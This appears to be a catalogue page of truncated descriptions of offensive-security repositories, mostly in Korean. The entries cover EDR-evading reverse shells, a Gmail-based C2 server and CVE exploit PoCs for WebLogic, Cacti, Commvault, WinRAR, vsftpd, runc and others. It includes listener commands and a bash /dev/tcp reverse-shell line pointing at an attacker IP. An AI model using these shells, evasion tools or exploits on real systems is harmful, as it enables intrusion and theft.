nim-shell

Nim-Shell EDR 및 Windows Defender 탐지를 우회할 수 있는 리버스 셸 VirusTotal에 업로드하지 마십시오 𝗜𝗡𝗦𝗧𝗔𝗟𝗟𝗔𝗧𝗜𝗢𝗡 𝗜𝗡𝗦𝗧𝗥𝗨𝗖𝗧𝗜𝗢𝗡𝗦 설치 안내 $ apt install nim 컴파일 nim c -d:mingw --app:gui nimshell.nim nimshell.nim 파일에서 수신 대기할 IP 주소와 포트 번호를 장치에 맞게 변경하세요. 수신 대기 $ nc -nvlp 4444...

sidedoor

sidedoor sidedoor는 쉘 스크립트 데몬을 사용하여 SSH 연결 또는 터널을 유지 관리합니다. 주요 사용 사례는 로컬 SSH 서버또는 다른 포트에 대한 원격 포트 포워드를 유지하는 것입니다. 따라서 로컬 장치는 NAT, 방화벽에 의해 차단되거나 모바일 장치에서 실용적이지 않은 수신 연결을 사용하지 않고도 액세스할 수 있습니다. SSH 클라이언트는 sidedoor가 터널링하는 역방향 SSH 프록시를 통해 장치에 연결할 수 있습니다. 이 프록시 서버는 신뢰할 수 없으며 제3자 또는 클라우드 서비스에 의해 실행될 수...

xc

XC Linux・Windows向けのNetcatライクなリバースシェル。 機能 Windows Usage: └ Shared Commands: !exit !upload uploads a file to the target !download downloads a file from the target !lfwd local portforwarding like ssh -L !rfwd remote portforwarding like ssh -R !lsfwd lists active forwards !rmfwd removes forward by...

xc

XC Netcat like reverse shell for Linux & Windows. Features Windows Usage: └ Shared Commands: !exit !upload uploads a file to the target !download downloads a file from the target !lfwd local portforwarding like ssh -L !rfwd remote portforwarding like ssh -R !lsfwd lists active forwards !rmfwd...

hacks

/\ /\ \ /\ \ /\ /\ \ /:// /::\ \ /::\ \ /:/ / /::\ \ /::/\ /:::\ /:/:\ /::-"\ /::\ /::/ / /::/ / :\ // ;:;-",-" ::// /:/ / /:/ / :\ |:| | ::/ / // // // || // Some random scripts. Just trying to be like the cool kids. Place all the scripts under /usr/local/bin and hack...

React2Shell

⚛️ React2Shell CVE-2025-55182 Next.js Server ActionsCVE-2025-55182를 위한 고급 익스플로잇 툴킷. React2Shell은 React2Shell 취약점을 악용하도록 설계된 강력한 인터랙티브 셸 래퍼입니다. 단순한 RCE를 넘어 명령 기록, 파일 전송 기능, 자동화된 권한 상승 전략을 제공합니다. 🚀 기능 단일 파일 실행 : 익스플로잇 로직과 셸 인터페이스를 하나의 스크립트로 통합합니다. 외부 의존성이 없습니다. 인터랙티브 셸 : 명령 기록을 지원하는 완전한 의사 터미널 경험. 자...

CVE-2017-10271

Brief Description Command execution with echo output Direct shell upload Tested OK on Linux with WebLogic 10.3.6.0 Usage python weblogicwlswsatexp.py -t 172.16.80.131:7001 usage: weblogicwlswsatexp.py -h -t TARGET -c CMD -o OUTPUT -s SHELL optional arguments: -h, --help show this help message and...

CVE-2021-29200

CVE-2021-29200 CVE-2021-29200 EXP는 셸 반환에 성공할 수 있습니다 이 문서 및 도구는 기술 공유만을 위한 것이며, 불법적인 용도로 사용하는 것을 엄격히 금지합니다. 그로 인해 발생하는 모든 결과는 본인이 부담합니다. 명령 실행 EXP 트리거 1. VPS에서 RMI 리스너를 9999 포트로 시작 java -cp ysoserial.jar ysoserial.exploit.JRMPListener 9999 CommonsBeanutils1 '要执行的命令' 2. VPS에서 nc 리스너를 8443 포트로 시작 nc...

gmailc2

gmailc2 A Fully Undetectable C2 Server That Communicates Via Google SMTP to evade Antivirus Protections and Network Traffic Restrictions Note: This RAT communicates Via Gmail SMTP or u can use any other smtps as well but Gmail SMTP is valid because most of the companies block unknown traffic so...

CVE-2022-46196

CVE-2022-46196 설명 이 Python 코드는 Cacti 버전 1.2.22 이하에서 인증되지 않은 명령어 주입 취약점을 악용합니다. argparse를 사용하여 명령줄 인수를 파싱하고, requests를 통해 대상 Cacti 인스턴스의 HTML 콘텐츠를 가져오며, BeautifulSoup를 사용하여 HTML 콘텐츠에서 Cacti의 버전 번호를 추출합니다. 버전이 1.2.22 이하인 경우, 코드는 익스플로잇을 진행합니다. 익스플로잇은 Cacti 인스턴스의 remoteagent.php 파일에 페이로드를 전송하는데, 이...

CVE-2026-59310

CVE-2026-59310 English | 한국어 설명 VMware vCenter contains a directory traversal vulnerability in the Syslog server. A malicious actor with network access to vCenter may exploit this issue to execute arbitrary code. 취약점 상세 정보 항목| 값 ---|--- CVE ID| CVE-2026-59310 취약점 유형| 경로 탐색 CVSS 점수| 9.8 개념 증명 PoC...

cve-2019-5736-poc

추가해야 할 헤더 stage2.c bash include bash include 공격자 PC의 IP로 수정 stage2.c bash const char poc = "!/bin/bash\n/bin/bash -i & /dev/tcp//4455 0&1 &\n"; Docker Image 및 컨테이너 생성 $ docker build -t cve . $ docker run -t -d --name cvetest cve $ sudo cp /usr/bin/docker-runc /usr/bin/docker-runc.bak...

watchTowr-vs-Commvault-PreAuth-RCE-CVE-2025-34028

CVE-2025-34028 Commvault 사전 인증 원격 코드 실행 개념 증명 블로그 포스트에서 기술적 세부 사항을 확인하세요. 실제 탐지 화면 python watchtowr-vs-commvault-rce-CVE-2025-34028.py --url https://192.168.1.1 / | | |\ \ \ / / \ \ / | | | | / \ / / \ \ \ / / | | \ | Y | | \ / | | / // || \ ||| | \ / // || / / /...

TempRoot-Huawei

TempRoot-Huawei CVE-2019-2215를 이용한 Huawei 보안 강화 커널용 임시 루트 이 코드는 P20 ProCLT-AL00용으로 작성되었으며, 커널 오프셋은 빌드 지문이 'HUAWEI/CLT-AL00/HWCLT:8.1.0/HUAWEICLT-AL00/176C00:user/release-keys'인 펌웨어에서 가져왔습니다. 배경 삼성의 KNOX와 마찬가지로, Huawei는 해커의 악용을 방지하고 '보안'을 강화하기 위해 많은 메커니즘을 추가했습니다. DEBUGSPINLOCK이 활성화되어 spainlock에 대한...

CVE-2026-24061-lab

CVE-2026-24061 — Reproduction Lab ⚠️ For educational purposes only. Isolated lab environment. Français ci-dessous Summary Critical authentication bypass CVSS 9.8 in GNU InetUtils telnetd ≤ 2.7. By injecting -f root as the USER variable via the Telnet NEWENVIRON option, an unauthenticated attacker...

CVE-2023-38831_ReverseShell_Winrar-RCE

WINRAR의 CVE-2023-38831 취약점을 악용한 리버스 셸 획득 이 저장소에서는 WinRAR의 CVE-2023-38831 취약점을 악용하여, 피해자 Windows 머신에서 공격자 Kali Linux 머신으로 리버스 셸을 획득할 수 있습니다. 사전 단계 이 저장소의 콘텐츠를 다운로드합니다: 그런 다음, 이 취약점을 악용하는 데 필요한 Python 종속성을 다음 명령으로 설치해야 합니다: pip install rarce 준비 공격자의 IP와 포트를 지정하여, revshells.com 웹사이트에서 리버스 셸을 제공하는 악성...

CVE-2011-2523

CVE-2011-2523 - vsftpd 2.3.4 익스플로잇 설명 Very Secure FTP Daemon vsftpd는 Linux를 포함한 Unix 계열 플랫폼을 위한 FTP 서버입니다. GNU General Public License 조건에 따라 배포됩니다. IPv6 및 SSL을 지원합니다. 2011년 7월, 마스터 사이트에서 다운로드할 수 있었던 vsftpd 버전 2.3.4가 손상된 것으로 밝혀졌습니다. 해킹된 vsftpd-2.3.4 서버에 로그인하는 사용자는 사용자 이름으로 : 웃는 얼굴을 입력하여 포트 6200에서 ...

egressbuster

EgressBuster Copyright 2015 TrustedSec - EgressBuster Written by: David Kennedy ReL1K Company: TrustedSec DISCLAIMER: This is only for testing purposes and can only be used where strict consent has been given. Do not use this for illegal purposes period. Please read the LICENSE for the licensing ...

CVE-2025-55182-GodzillaMemoryShell

CVE-2025-55182-GodzillaMemoryShell help usage: exploit.py -h --proxy PROXY --utf16 --unicode --key KEY --target TARGET CVE-2025-55182 Godzilla Memoryshell options: -h, --help show this help message and exit --proxy PROXY HTTP proxy address, e.g. http://127.0.0.1:8888 --utf16 Enable UTF-16 encodin...

cve-2025-32433

Build » git clone https://github.com/0xPThree/cve-2025-32433.git && cd cve-2025-32433 » docker build -t erlang-ssh . » docker run -d --name erlang-ssh -p 2222:2222 erlang-ssh POC kdev :: /erlang/CVE-2025-32433 ‹main› » python3 cve-2025-32433.py -h usage: cve-2025-32433.py -h -d --host HOST --port...